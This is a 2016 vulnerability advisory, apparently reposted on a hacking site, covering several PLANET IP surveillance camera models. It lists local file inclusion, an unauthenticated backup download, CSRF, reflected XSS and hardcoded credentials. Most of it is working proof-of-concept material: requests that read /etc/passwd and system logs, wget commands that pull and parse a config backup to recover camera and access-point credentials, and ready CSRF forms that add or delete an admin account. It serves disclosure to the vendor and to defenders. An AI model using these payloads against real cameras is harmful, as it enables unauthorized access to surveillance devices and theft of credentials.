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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
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                        | | | |     | |
  ___  _ ____      _____| | | | __ _| |__  ___
 / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __|   	
| (_) | |   \ V  V /  __/ | | | (_| | |_) \__ \
 \___/|_|    \_/\_/ \___|_|_|_|\__,_|_.__/|___/
		
		Security Adivisory
		   2016-04-06                 www.orwelllabs.com
	        Twitter:@orwelllabs

				mantra: ...not affect a product that is in scope for... AhHum!



Overview
========
Technical Risk: high
Likelihood of Exploitation: medium
Credits: Discovered and researched by Orwelllabs
CVE-Number: N/A
DWF: Submited
Adivisory URL:
http://www.orwelllabs.com/2016/02/planet-ip-surveillance-camera-local.html
[1]


Issues
=====
I.   Local File Inclusion (42 vectors)
II.  Arbitrary file read/Authentication bypass
III. Sensitive information disclosure
IV.  Cross-site request forgery
V.   Reflected Cross-site scripting
VI.  hardcoded credentials


I. Local File Inclusion
=======================
* CLASS: External Control of File Name or Path [CWE-73]

The Web Management interface of PLANET IP surveillance Cams models
FW-ICA-2500,
ICA-2250VT, ICA-4200V, ICA-4500V, ICA-3350V, ICA-5350V AND ICA-8350 and
probably
others is prone to Local File Include (LFI).


PoC
---
The request bellow is generated when a new user is added, in this case
we are adding the following administrative credential for the cam:
"root:r00tx".

GET /cgi-bin/admin/querylogin.cgi HTTP/1.1
Host: {xxx.xxx.xxx.xxx}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101
Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp
Cookie: ipcam_profile=1; tour_index=-1; IsHideStreamingStatus=yes
Authorization: Basic YdRRtXW41YXRtad4=
Connection: keep-alive
If-Modified-Since: Mon, 08 Jul 2013 11:10:26 GMT


If the value of the parameter "redirect" was changed to any system file
will return the contents of that file, as shown below:
http://
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=/etc/passwd

In this case will retrieved the content of /etc/passwd

Vectors:
-------
There are a total of 42 vectors of LFI, the detailed results will be
published in www.orwelllabs.com [1] soon.
Basically all menus of the camera (shown below) to submit, add, modify and
remove settings trigger the corresponding
scripts to access resource that contains a parameter "redirect" which is
also affected.

[ ----------------------------]
[ #1:  Network ---------------] -> 9
[ #2:  Camera  ---------------] -> 3
[ #3:  System  -------------- ] -> 2
[ #4:  Video   -------------- ] -> 4
[ #5:  Audio   -------------- ] -> 1
[ #6:  User    -------------- ] -> 1
[ #7:  Protocol ------------- ] -> 2
[ #8:  E-Mail  -------------- ] -> 1
[ #9:  Event Detection ------ ] -> 1
[ #10: Storage -------------- ] -> 2
[ #11: Continuous Recording - ] -> 1
[ #12: Recording List ------- ] -> 0
[ #13: Event Server --------- ] -> 11
[ #14: Event Schedule ------- ] -> 4
[ ----------+---------------  ]



II. Arbitrary file read/Authentication bypass
=============================================
The camera offers a feature to perform the download settings via a backup
file. However,
(how acess control is not effective) this file remains accessible via the
browser for an unauthenticated user.

PoC
---
wget --no-check-certificate https://{xxx.xxx.xxx.xxx}/backup.tar.gz
tar -xzvf backup.tar.gz
cat tmp/sysConfig/sysenv.cfg|strings|fmt|cut -f8,9 -d" "

It will return the credential to access the camera

Through this vulnerability a user can also obtain the credential of the AP
to which the camera is connected just parsing
the file: 'tmp/sysConfig/extra.info'


III. Sensitive information disclosure
=====================================
Using LFI vulnerability report, a user can obtain sensitive information
such as username and password by reading the log file, as follows:

{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=&pwd=&grp=&sgrp=&action=&redirect=/var/log/messages


IV. Cross-site request forgery
==============================
Planet IP cams ICA-* are prone to Multple CSRF.

PoC
------

- This will create a admin credential: root:r00tx

<html>
<!-- CSRF PoC - -->
<body>
<form action="http://
{xxx.xxx.xxx.xxx}/setup.cgi?language=ie&adduser=root:r00tx:1">
<input type="submit" value="Submit form" />
</form>
</body>
</html>

- ICA-5350V

<html>
<!-- CSRF PoC -->
<body>
<form action="http://
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp">
<input type="submit" value="Submit form" />
</form>
</body>
</html>

- Del user root

<html>
<!-- CSRF PoC -->
<body>
<form action="http://
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=remove&redirect=asp%2Fuser.asp">
<input type="submit" value="Submit form" />
</form>
</body>
</html>


V. Cross-Site Scripting
=======================
Cams models ICA-* are prone to Multiple XSS

POC
-------
http://{xxx.xxx.xxx.xxx}/setup.cgi?<script>alert("XSS")</script>

this will pop-up the message XSS in the browser


VI. hardcoded credentials
=========================

The credentials of web management can be found just viewing the source of
page default_nets.htm:

POC
------
https://{xxx.xxx.xxx.xxx}/default_nets.htm

code:

}

function av_onload(){
CheckMobileMode();
util_SetUserInfo();
Loadplay();
watchdog();
//alert("watchdog");
}
function Loadplay(){
play("MasterUsr","MasterPwd","554",parseInt("99"),parseInt("99"),"1",parseInt("2"),parseInt("0"),"192.168.1.99","");
}


Vulnerable Packages
===================
ICA-2500
ICA-2250VT
ICA-4200V
ICA-4500V
ICA-3350V
ICA-5350V
ICA-8350



Timeline
========
2015-10-02 - Issues discovered
2015-11-30 - Vendor contacted (advisore sent)
2015-12-16 - Vendor contacted (asking for feedback about reported issues)
2015-12-17 - Vendor response (asking for more time to check issues)
2015-12-21 - RD team replied: can't duplicate vulnerabilities....
2016-01-13 - Vendor contacted (submitted evidence that the vulnerabilities
persist and can be reproduced.)
...and no news after that...